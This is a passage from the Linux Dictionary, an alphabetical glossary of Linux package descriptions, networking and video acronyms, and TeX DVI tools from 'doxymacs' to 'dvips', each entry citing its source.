Doxygen can generate an online class browser (in HTML) and/or a reference manual (in LaTeX) from a set of documented source files. The documentation is extracted directly from the sources. Doxygen can also be configured to extract the code structure from undocumented source files. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

doxymacs

E-lisp package for making doxygen usage easier under Emacs. The purpose of the doxymacs project is to create a LISP package that will make using Doxygen from within {X}Emacs easier. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

- DPI** [SNMP] Distributed Protocol Interface (SNMP, RFC 1592) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- dpkg** a medium-level package manager for Debian From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- dpkg** Package maintenance system for Debian This package contains the programs which handle the installation and removal of packages on your system. The primary interface for the dpkg suite is the `dselect' program; a more low-level and less user-friendly interface is available in the form of the `dpkg' command. In order to unpack and build Debian source packages you will need to install the developers' package `dpkg-dev' as well as this one. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- dpkg (Debian Package Manager)**
A packaging and installation tool for Internet downloads, included with Debian Linux but compatible with other distributions. It produces files with a .DEB extension. Similar to RPM. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-architecture

set and determine the architecture for package building From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-awk

Gawk script to parse /var/lib/dpkg/{status,available} and Packages This script can parse the dpkg database files. It can do regular expressions on the fields, and only get what you want. It can also be made to output certain fields. As an added bonus, there is an option to sort the output. 'dpkg-awk "Status: .* installed\$" -- Package Version Status' will output all installed packages, with only the listed fields. 'dpkg-awk -f=/var/lib/dpkg/available "Package:^[aA].*" -- Package Version' will output all available packages that start with the letter 'A.' From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-buildpackage

Debian source package tools From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-checkbuilddeps

check build dependencies and conflicts From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-cross

Tools for cross compiling Debian packages dpkg-cross itself is a tool for installing libraries and headers for cross compiling in a way similar to dpkg. Furthermore, the functionality of dpkg-buildpackage and dpkg-shlibdeps is enhanced to support cross compiling. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-deb

Debian package archive (.deb) manipulation tool From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-dev-el

Emacs-related Debian development helpers This package contains the following Emacs-related stuff: debian-changelog-mode.el: a helper mode for Debian changelogs; debian-control-mode.el: a helper mode for debian/control files. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-distaddfile

Debian source package tools From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-divert

override a package's version of a file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-ftp

Ftp method for dselect. This package provides another method to dselect that uses the ftp protocol to fetch the desired packages from a debian ftp site. To access it select 'ftp' from the Access menu in dselect. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-genchanges

Debian source package tools From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-gencontrol

Debian source package tools From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-iasearch

An interface to find relevant packages in Debian. This package adds some tools to find relevant packages in Debian using simple queries, both in natural language and by keywords. It makes uses of the document-vectoring program arrow, adding scripts to make use of it to index the Packages database, and to make queries on to it. Its functionality is similar to dlocate but uses a different (more

useful?) approach to make the binary database. This package is a proof-of-concept package, any kind of improvements are are welcomed, although this idea should be part of a dpkg frontend {T,G}UI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-multicd

Installation methods for multiple binary CDs This package provides three new methods to be used within dselect in order to access Debian binary package stored on multiple binary CD ROMS. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-name

rename Debian packages to full package names From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-parsechangelog

Debian source package tools From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-preconfigure

let packages ask questions prior to their installation From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-reconfigure

reconfigure an already installed package From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-repack

puts an unpacked .deb file back together dpkg-repack creates a .deb file out of a debian package that has already been installed. If any changes have been made to the package while it was unpacked (ie, files in /etc were modified), the new package will inherit the changes. This utility can make it easy to copy packages from one computer to another, or to recreate packages that are installed on your system, but no longer available elsewhere, or to store the current state of a package before you upgrade it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-ruby

ruby interface for dpkg Contains ruby modules/classes for dpkg, the Debian package management system. It also provides dpkg-ruby(a dpkg-awk clone), dpkg.rb (a part of dpkg/dpkg-deb clone) and dpkg-checkdeps.rb (check utility of deb dependency problem) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-scanpackages

create Packages files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-scansources

prog From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-shlibdeps

Debian source package tools From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-source

Debian source package tools From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-split

Debian package archive split/join tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-statoverride

override ownership and mode of files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpkg-www

WWW Debian package browser With the dpkg cgi-bin you can browse Debian packages on a local or remote host using a normal WEB browser. You can list packages, show package information and installed files, browse documentation and navigate through the packages dependencies. You can also

Linux Dictionary

find all the packages owners of a file or directory or those providing a virtual package. If you are the system administrator you can also install or remove packages by clicking on the buttons found in the package info page, provided that this feature has been enabled and you have properly configured your WEB browser. dpsinfo

Display PostScript Information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DPSK

Differential Phase Shift Keying (DFUe) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dpsyco

Debian packages of system configurations. Dpsyco introduces the concept of configuration packages. It is a special form of debian packages that is applied on top of the original debian packages. With this you can add users, groups, apply a file skeleton, patch things and more. Observe! No such configuration packages should be uploaded to the debian archives. This kind of things are intended to be created and used by the system administrator only. For more information see <http://www.opal.dhs.org/programs/dpsyco/>. This tool is very useful if you have a lot of servers on which you want to have similar configuration (but not identical). If you only have one server (or client) this is probably not useful at all. WARNING! Users with UID and GID between 500 and 999 will be automatically administrated by this tool. This means that if you do not have a admin package that set up users these users WILL BE REMOVED. Groups with GID between 300 and 499 will be handled in the same way. YOU HAVE BEEN WARNED! From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DPT

Distributed Processing Technology (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Drive Parameter Table From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DPT

Dynamic Packet Transport (Cisco) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dput

Debian package upload tool This script will allow you to put one or more Debian packages into the archive. It includes some tests to verify that the package is policy-compliant. It offers the possibility to run lintian before the upload. It can also run dinstall in dry-run-mode, when having used an appropriate upload method. This is very useful to see if the the upload will pass dinstall sanity checks in the next run. It's intended for Debian maintainers only. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DPV

DatenPaketVermittlung [srechner] From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DQDB

Distributed Queue Dual Bus (ISO, IEC, IS 8802/6, IEEE 802.6) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DQL

Database Query Language (DB) From VERA

Distributed Queueing System (Cluster) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DR

Designated Router (PIM, Multicast) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DR

Developer Release (Linux, Apple, ...) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DR

Digital Research (manufacturer) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drac

Dynamic Relay Authorization Control (pop-before-smtp) A daemon that dynamically updates a relay authorization map for some MTA (postfix, sendmail). It provides a way to allow legitimate users to relay mail through an SMTP server, while still preventing others from using it as a spam relay. User's IP addresses are added to the map immediately after they have authenticated to the POP or IMAP server. By default, map entries expire after 30 minutes, but can be renewed by additional authentication. Periodically checking mail on a POP server is sufficient to do this. The POP and SMTP servers can be on different hosts. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DragonLinux

DragonLinux is a complete Linux operating system distribution that has been customized to install on top of versions of Microsoft Windows or any version of DOS. DragonLinux v2r2pre was released November 26, 2001. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drakconf

drakconf includes the Mandrake Control Center which is an interface to multiple utilities from DrakXtools. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drakcronat

Drakcronat is an application for scheduling programs to run in the background. It is a Graphical User Interface to Crontab/Cron and At (Unix system schedulers). Drakcronat provides features for beginners as well as sysadmins. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drakfirsttime

The Mandrake First Wizard is a config tool to help user set up some basic things like themes & window managers, registration at mandrakeclub/mandrake expert the first time you login. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drakxtools

Contains many Mandrake applications simplifying users and administrators life on a Mandrake Linux machine. Nearly all of them work both under XFree (graphical environment) and in console (text environment), allowing easy distant work. adduserdrake: help you adding a userdrdcxinfos: get infos from the graphic card and print XF86Config modelines diskdrake: DiskDrake makes hard disk partitioning easier. It is graphical, simple and powerful. Different skill levels are available (newbie, advanced user, expert). It's written entirely in Perl and Perl/Gtk. It uses resize_fat which is a perl rewrite of the work of Andrew Clausen (libresize). drakautoinst: help you configure an automatic installation replay drakbackup: backup and restore your system drakboot: configures your boot configuration (Lilo/GRUB, Bootsplash, X, autologin) drakbug: interactive bug report tool drakbug_report: help find bugs in DrakX drakconnect: LAN/Internet connection configuration. It

handlesethernet, ISDN, DSL, cable, modem.drakfloppy: boot disk creatordrakfont: import fonts in the systemdrakgw: internet connection sharingdrakproxy: proxies configurationdraksec: security options management / msec frontenndraksound: sound card configurationdraksplash: bootsplash themes creationdrakTermServ: mandrake terminal server configuratordrakxservices: SysV service and dameacons configuratordrakxtv: auto configure tv card for xawtv grabberkeyboardrake: configure your keyboard (both console and X)liveupdate: live update softwarelogdrake: show extracted information from the system logslsnetdrake: display available nfs and smb shareslspcldrake: display your pci information, *and* the correspondingkernel modulelocaledrake: language configurator, available both for root(system wide) and users (user only)mousedrake: autodetect and configure your mouseprinterdrake: detect and configure your printerscannerdrake: scanner configuratordrakfirewall: simple firewall configuratorXFdrake: menu-driven program which walks you through setting upyour X server; it autodetects both monitor and video card ifpossible From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DRAM

Dynamic Random Access Memory (RAM, IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drawmap

draws customized maps, using raw USGS data files Drawmap reads data in the Digital Elevation Model (DEM), Digital Line Graph (DLG), and Geographic Names Information System (GNIS) formats. Can also work with SDTS, NAD-83, WGS-84, GTOPO30 data. Using the data in these files, drawmap can produce various kinds of customized maps, including shaded relief maps (with or without roads, streams, place names, and so on) and topographic maps (again, with or without additional features). Outputs sun raster format, portable gray map, or pov format files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drb

distributed ruby druby (DRb) – DRb can send message to other ruby script that like Java's RMI. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DRI

Direct Rendering Infrastructure (XFree86) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

driftnet

Picks out and displays images from network traffic. Inspired by EtherPEG, Driftnet is a program which listens to network traffic and picks out images from TCP streams it observes. It is interesting to run it on a host which sees a lot of web traffic. (Obviously, this is an invasion of privacy of a fairly blatant sort. Also, if you are possessed of Victorian sensibilities, and share an unswitched network with others who are not, you should probably not use it.) From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

drive

A device that reads/writes data from/to disks or tapes; for example, a hard drive, diskette drive, CD-ROM, or tape drive. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

driver

n. 1. The main loop of an event-processing program; the code that gets commands and dispatches them for execution. 2. [techspeak] In `device driver', code designed to handle a particular peripheral device such as a magnetic disk or tape unit. 3. In the TeX world and the computerized typesetting world in general, a program that translates some device-independent or other common format to something a real device can actually understand. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

driver

See device module. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DSA (Digital Signature Algorithm, DSS, Digital Signature Standard, FIPS 186, ANSI 9.30)

An alternative public-key algorithm, the DSA is a standard promulgated by NIST. DSA is only used for digital signatures but is not used for key exchange. It is based upon work done by Schnorr and ElGamal. Contrast: Whereas RSA is based upon the mathematical problem of factoring large numbers, DSA is based upon the discrete logarithm problem. DSA generates signatures faster; RSA verifies signatures better. Contrast: The terms DSA and DSS are essentially the same and are generally used interchangeably. DSS (Digital Signature Standard) is a government document mandating the use of DSA (Digital Signature Algorithm). They are both part of the same FIPS-186 document. Key point: The DSS specification provides for keys only up to 1024-bits. This is considered "weak" and probably breakable in a few years. Some products (e.g. PGP) allow non-standard larger keys to be generated. History: The standard was created by NIST with the help See also: RSA, Diffie-Hellman From Hacking-Lexicon

DSL

Distributed Service Logic (IN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DSL (Digital Subscriber Line)

A method for moving data over regular phone lines. A DSL circuit is much faster than a regular phone connection, and the wires coming into the subscriber's premises are the same (copper) wires used for regular phone service. A DSL circuit must be configured to connect two specific locations, similar to a leased line (however a DSL circuit is not a leased line. A common configuration of DSL allows downloads at speeds of up to 1.544 megabits (not megabytes) per second, and uploads at speeds of 128 kilobits per second. This arrangement is called ADSL: Asymmetric Digital Subscriber Line. Another common configuration is symmetrical: 384 Kilobits per second in both directions. In theory ADSL allows download speeds of up to 9 megabits per second and upload speeds of up to 640 kilobits per second. DSL is now a popular alternative to Leased Lines and ISDN, being faster than ISDN and less costly than traditional Leased Lines. From Matisse

dual homed system (multihomed)

A system having more than one network connection. An example could be a private network within your home, where one system also has a dial-up line. Contrast: The word dual-homed could refer to a router, but is usually used to clarify that the system has multiple network connection, but it NOT supposed to provide bridging/routing/interconnection services between them. Dual-home systems are a prime target of hackers because when they are subverted, they provide a prime way to compromise networks. Examples: elliptic curves (ANSI x962, IEEE P1363)[5] Elliptic curves have been found useful for public key cryptography. Contrast: An elliptic curve key of roughly 160-bits is equivalent in security to a RSA or DH key of 1024-bits. Elliptic curve systems are dramatically faster than RSA or DH, which makes them useful in smart-card applications that have anemic CPUs. Certicom (the owner of many elliptic curve patents) recommends a public-key size of roughly twice the size of the symmetric-key to provide equivalent security. Point: While elliptic curves have many advantages (size, speed) over other techniques, they are a lot newer and therefore not trusted. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dual-boot

The concept of two operating systems installed on a single computer system. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Dualix

Dualix is a mini-distribution of Linux based on libc5, kernel 2.2.10. It is intended for use as a quick, portable, and configurable network client, not a rescue system. Distribution development is not all that active. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dumb terminal

a display and input device that doesn't process data and input locally. Instead it transmits input to a computer to which it is connected and displays the resulting output. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dump

4.4bsd dump and restore for ext2 filesystems Dump examines files on a filesystem and determines which files need to be backed up. These files are copied to the given disk, tape or other storage medium for safe keeping. The restore command performs the inverse function of dump. A full backup of a file system may be restored and subsequent incremental backups layered on top of it. Single files and directory subtrees may be restored from full or partial backups. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dump

n. 1. An undigested and voluminous mass of information about a problem or the state of a system, especially one routed to the slowest available output device (compare core dump), and most especially one consisting of hex or octal runes describing the byte-by-byte state of memory, mass storage, or some file. In elder days, debugging was generally done by 'groveling over' a dump (see grovel); increasing use of high-level languages and interactive debuggers has made such tedium uncommon, and the term 'dump' now has a faintly archaic flavor. 2. A backup. This usage is typical

only at large timesharing installations. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dump

The dump package contains both dump and restore. Dump examines files in a filesystem, determines which ones need to be backed up, and copies those files to a specified disk, tape or other storage medium. The restore command performs the inverse function of dump; it can restore a full backup of a filesystem. Subsequent incremental backups can then be layered on top of the full backup. Single files and directory subtrees may also be restored from full or partial backups. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dumpe2fs

dump filesystem information From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dumpkeys

dump keyboard translation tables From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DUN

Dial Up Networking From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DUOW

Distributed Unit Of Work (DRDA, IBM), "DUoW" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DUP

Distribution Unit Profile (MS, OSD, DU, MSIE) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dupload

utility to upload Debian packages This script will automatically upload Debian packages to a remote host with a Debian upload queue. The default host is configurable, along with a lot of other things. All uploads are logged. It's intended only for Debian package maintainers. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DV

DatenVerarbeitung From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DV

Digital Video From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVA

DatenVerarbeitungsAnlage From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVB

Digital Video Broadcasting (Europe, DVB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvb-driver-source

sources for drivers for the Fujitsu Siemens DVB card DVB is a standard for transmission of digital TV and Data over satellite transponders or cable connections. Some DVB cards based on the Fujitsu/Siemens chipset are supported by the linux driver. This package contains source code needed to create the driver package. The kernel sources (2.4.9 or newer) must be installed to compile these modules. You will also need the Firmware files for your card, see installation instructions in the package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVBC

Digital Video Broadcasting – Cable (DVB), "DVB-C" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVBNIP

Digital Video Broadcasting – ? (DVB), "DVB-NIP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVBR

Linux Dictionary

Digital Video Broadcasting – ? (DVB), "DVB–RC" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVBRCGSM

Digital Video Broadcasting – ? (DVB), "DVB–RCGSM" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVBRCT

Digital Video Broadcasting – ? (DVB), "DVB–RCT" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVBS

Digital Video Broadcasting – Satellite (DVB), "DVB–S" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVBT

Digital Video Broadcasting – Terrestrial (DVB), "DVB–T" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVC

Digital Video Compression (video) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVD

Deutsche Vereinigung fuer Datenschutz [e.V.] (org.) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVD

Digital Versatile Disk (CD, MPEG, DVD) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVD

Digital Video Disk [old term] (DVD) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVCCA

DVD Copy Control Association (DVD, org.), "DVD CCA" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvdrplusrw

DVD+RW tools This package includes a format utility for DVD+RW media, and some associated tools. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVDR

Digital Versatile Disk Recodable (DVD), "DVD–R" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVDRAM

Digital Versatile Disk Random Access Memory (DVD), "DVD–RAM" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVDROM

Digital Versatile Disk Read Only Memory (DVD, ROM), "DVD–ROM" From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

DVDRW

Digital Versatile Disk + ReWritable (PC–RW, DVD, Sony, Philips, HP, Mitsubishi, Ricoh, Yamaha), "DVD+RW" From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvgrab

Grab digital video data via IEEE1394 links dvgrab receives audio and video data from a digital camcorder via an IEEE1394 (widely known as FireWire) link and stores them into an AVI file. It features autosplit of long video sequences into several files, and supports saving the data as raw frames, AVI type 1 and AVI type 2. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvhtool

Linux Dictionary

Manipulate the volume header on sgi partition layouts This tool is used to manipulate volume headers of devices using sgi disk labels, like moving files into and out of the volume header. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVI

DeVice Independent From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVI

DeVice Independent: a typesetter independent file which is generated from TeX. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVI

Digital Video Interactive (LCD, Intel, IBM, Lotus, HP, Compaq, ...) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVI (Digital Video Interactive)

A format for recording digital video onto compact disc allowing for compression and full motion video. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2dvi

Tweak DVI files dvi2dvi can: – expand virtual fonts in given DVI files, – change font names in given DVI files, – decompose 2–byte fonts into 1–byte subfonts. With dvi2dvi, you can convert DVI files generated by NTT jTeX to those of ASCII pTeX, and vice versa. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2fax

convert a TeX DVI file to G3 fax format From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps

TeX DVI–driver for NTT jTeX, MulTeX and ASCII ptex. dvi2ps is another converter of DVI file to PostScript file. dvi2ps can handle NTT jTeX, MulTeX and ASCII ptex dvi files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–a2n

Font data to convert ptex's dvi file to jtex's dvi file. Virtual font for converting dvi files of ASCII ptex to dvi files to NTT jtex. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–bsr

tfm files for bluesky research fonts. TFM files for bluesky research fonts for dvi2ps. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–ja

Font data for dvi2ps–j and dvi2dvi. Virtual fonts and TFM files for Morisawa fonts, and VFlib. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–n2a

Font data to convert jtex's dvi file to ptex's dvi file. Virtual font for converting dvi files of NTT jtex to dvi files of ASCII ptex. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–ptexfake

Fake ptex TFM files Monometric TFM files for min and goth fonts of ASCII ptex. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–rrs

Font data of Richo LP5100 UX printer. Virtual font and TFM files for Richo LP5100 UX printer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–rsp

Font data of Richo SP10 printer. Virtual font and TFM files for Richo SP10 printer. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps–fontdata–tbank

Font data of Typebank font. Virtual font and TFM files for Typebank font. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps-fontdata-three

Font data of Adobe Japanese fonts (futomin, futogo, jun101) Virtual font and TFM files for Adobe postscript fonts: FutoMinA101-Bold-H, FutoGoB101-Bold-H, Jun101-Light-H From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvi2ps-fontdesc-morisawa5

fontdesc files of dvi2ps for Morisawa Basic-5 type faces You can convert DVI file with Morisawa Basic-5 type faces of vfddata-morisawa5 to PS file by dvi2ps with this package. You should run 'dvi2ps -F morisawa' for Morisawa Basic-5 type faces. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvicopy

produce modified copy of DVI file From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

DVID

Digital Video Interactive - Digital (LCD), "DVI-D" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvidvi

Manipulate .dvi files. Allows you to select, change the order, and/or shift the pages in a .dvi file. The main use is to print an a5 booklet on A4 paper, in such a way that you can put a staple through the bundle. A shell script that does just that is provided. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvifb

A dvi viewer for framebuffer devices dvifb is a previewer for .dvi-files compiled by TeX. It let's you see what your printed output will look like. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvihp

convert a TeX DVI file to Hewlett-Packard PCL From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvilib2

a portable DVI interpreter library - runtime DVILib2 is a library for handling DeVice Independent(DVI) files which are usually generated by TeX. It can be used for the core engine of your DVIware, and thanks to VFlib3 your product will be able to handle various fonts. EPS figures managed by graphicx.sty and Japanese TeX DVI files are also supported. Note that DVILib2 itself is NOT DVIware. It's just a library. If you are looking for a complete DVI previewer etc., why don't you try xgdvi or spawx11? This package contains the shared libraries and configuration files needed to run programs using DVILib2. This is a part of the TeX-Guy distribution. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvilj

convert a TeX DVI file to PCL, for HP LaserJet printers From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvilj2p

convert a TeX DVI file to PCL, for HP LaserJet printers From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvilj4

convert a TeX DVI file to PCL, for HP LaserJet printers From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvilj4l

convert a TeX DVI file to PCL, for HP LaserJet printers From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

dvilx

A dvi viewer for X dviX is a screen–previewer for .dvi–files compiled by TeX. It let's you see what your printed output will look like. You can choose between a black–and–white representation and greyscaling. You can choose an arbitrary zoom factor (at some cost of performance). You can set marks to measure distances. You can search for text strings. You may visit lots of DVI files, set bookmarks and get them saved to a startup–file. dviX does not support pXl–files. dviX ignores all 'special'–commands and has no font–replacing mechanism. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvipdf

Convert TeX DVI file to PDF using ghostscript and dvips From whatis

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvipdfm

A DVI to PDF translator. Dvipdfm translates files from Donald Knuth's DVI format (commonly produced by TeX) to Adobe's Portable Document Format (PDF). Important features include: \special's that approximate the functionality of the PostScript pdfmarks used by Adobe's Acrobat Distiller; the ability to include PDF, JPEG, PNG, MetaPost, and PostScript (with help from an external program) files as embedded images; support for several \special standards for improved DVI file portability; support for thumbnails (with a little help from GhostScript); re–encoding support for PostScript fonts; virtual font support; support for arbitrary linear graphics transformations; an internal color stack accessible via \special's; beginning of page (BOP) and end of page (EOP) \special's for placing arbitrary PDF stream graphics on every page; partial font embedding and Flate compression for reduced file size; and a balanced page tree and dest tree to improve reader speed on very large documents. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvips

convert a TeX DVI file to PostScript From whatis

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvips–fontdata–n2bk

Virtual font data to process dvi files generated by NTT–JTeX. This package contains virtual font data to convert Dai–Nippon fonts, which are used in dvi files generated by NTT–JTeX, to Japanese built–in fonts in PostScript printer. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

dvipsk–ja

